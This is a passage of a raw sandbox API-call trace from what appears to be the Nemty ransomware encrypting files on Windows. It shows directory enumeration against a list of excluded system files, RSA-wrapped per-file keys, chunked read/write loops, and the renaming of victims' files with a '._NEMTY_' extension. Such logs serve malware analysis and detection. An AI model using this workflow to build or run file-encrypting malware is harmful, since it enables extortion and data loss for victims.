0xffffffff [0116.081] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.081] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.091] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.091] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.100] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.100] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.109] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.110] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.128] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.134] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.134] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0116.141] CloseHandle (hObject=0xffffffff) returned 0 [0116.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0116.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0116.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0116.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0116.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0116.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0116.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340350 [0116.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403f8 [0116.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0116.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0116.141] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower.png._nemty_kgobjgd_")) returned 0 [0116.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0116.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0116.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0116.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0116.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0116.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0116.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0116.141] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829df6e3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x829df6e3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2866a741, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x141, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="flower_dot.png", cAlternateFileName="")) returned 1 [0116.141] lstrcmpiW (lpString1="flower_dot.png", lpString2=".") returned 1 [0116.141] lstrcmpiW (lpString1="flower_dot.png", lpString2="..") returned 1 [0116.141] lstrcmpiW (lpString1="flower_dot.png", lpString2="...") returned 1 [0116.141] lstrcmpiW (lpString1="flower_dot.png", lpString2="windows") returned -1 [0116.141] lstrcmpiW (lpString1="flower_dot.png", lpString2="$RECYCLE.BIN") returned 1 [0116.142] lstrcmpiW (lpString1="flower_dot.png", lpString2="rsa") returned -1 [0116.142] lstrcmpiW (lpString1="flower_dot.png", lpString2="NTDETECT.COM") returned -1 [0116.142] lstrcmpiW (lpString1="flower_dot.png", lpString2="ntldr") returned -1 [0116.142] lstrcmpiW (lpString1="flower_dot.png", lpString2="MSDOS.SYS") returned -1 [0116.142] lstrcmpiW (lpString1="flower_dot.png", lpString2="IO.SYS") returned -1 [0116.142] lstrcmpiW (lpString1="flower_dot.png", lpString2="boot.ini") returned 1 [0116.142] lstrcmpiW (lpString1="flower_dot.png", lpString2="boot.ini") returned 1 [0116.142] lstrcmpiW (lpString1="flower_dot.png", lpString2="AUTOEXEC.BAT") returned 1 [0116.142] lstrcmpiW (lpString1="flower_dot.png", lpString2="ntuser.dat") returned -1 [0116.142] lstrcmpiW (lpString1="flower_dot.png", lpString2="desktop.ini") returned 1 [0116.142] lstrcmpiW (lpString1="flower_dot.png", lpString2="CONFIG.SYS") returned 1 [0116.142] lstrcmpiW (lpString1="flower_dot.png", lpString2="RECYCLER") returned -1 [0116.142] lstrcmpiW (lpString1="flower_dot.png", lpString2="BOOTSECT.BAK") returned 1 [0116.142] lstrcmpiW (lpString1="flower_dot.png", lpString2="bootmgr") returned 1 [0116.142] lstrcmpiW (lpString1="flower_dot.png", lpString2="programdata") returned -1 [0116.142] lstrcmpiW (lpString1="flower_dot.png", lpString2="appdata") returned 1 [0116.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_dot.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0116.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_dot.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_dot.png", lpUsedDefaultChar=0x0) returned 14 [0116.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0116.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_dot.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0116.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_dot.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_dot.png", lpUsedDefaultChar=0x0) returned 14 [0116.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0116.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_dot.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0116.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_dot.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_dot.png", lpUsedDefaultChar=0x0) returned 14 [0116.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_dot.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0116.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_dot.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_dot.png", lpUsedDefaultChar=0x0) returned 14 [0116.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0116.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0116.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0116.143] Sleep (dwMilliseconds=0x5) [0116.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf8e182f0, dwHighDateTime=0x1d561e7)) [0116.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf8e182f0, dwHighDateTime=0x1d561e7)) [0116.163] GetLastError () returned 0x5 [0116.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0116.163] GetLastError () returned 0x5 [0116.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0116.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0116.163] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0116.163] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0116.164] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0116.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0116.164] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="PpI/XSQe0W3GM6tr5xkShWFQWDU3tWqLE7zsMRfgEOuwa5fH9JOp9zL699wjKlbD\r\njP4KnVUQa06Hp1Bp5JHLAtikW/HpG8TrxJ+T3oIun8qMcYvhaHzPzYKYR++Dxd6s\r\n80auMntTeKI7lbDofpbyTa6+A99xxKw2aheObLctxhu8uGOnF1xQNo3OXl2MHUF9\r\n1FTdxrMqy0+qp5UOXmTvKbdgN9PGSbEPm/Zdt3NApY5jwCwgVbJbQDh0VXDDipzo\r\n9Tzb4vEgNx2zXZYatZV7eaK4vyZA2+/NknUtROb4Ty8ZZTRg3fcSA3dq/+NSAtfG\r\nywQUg2Iyft5v3KlEma5sXw==\r\n", pcchString=0x653e91c) returned 1 [0116.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0116.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0116.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0116.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0116.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0116.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0116.164] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.164] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0116.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0116.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.164] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.174] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.174] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.184] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.184] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.211] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.211] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.220] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.221] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.230] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.230] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.239] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.239] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.248] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.248] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.259] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.259] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.268] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.268] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 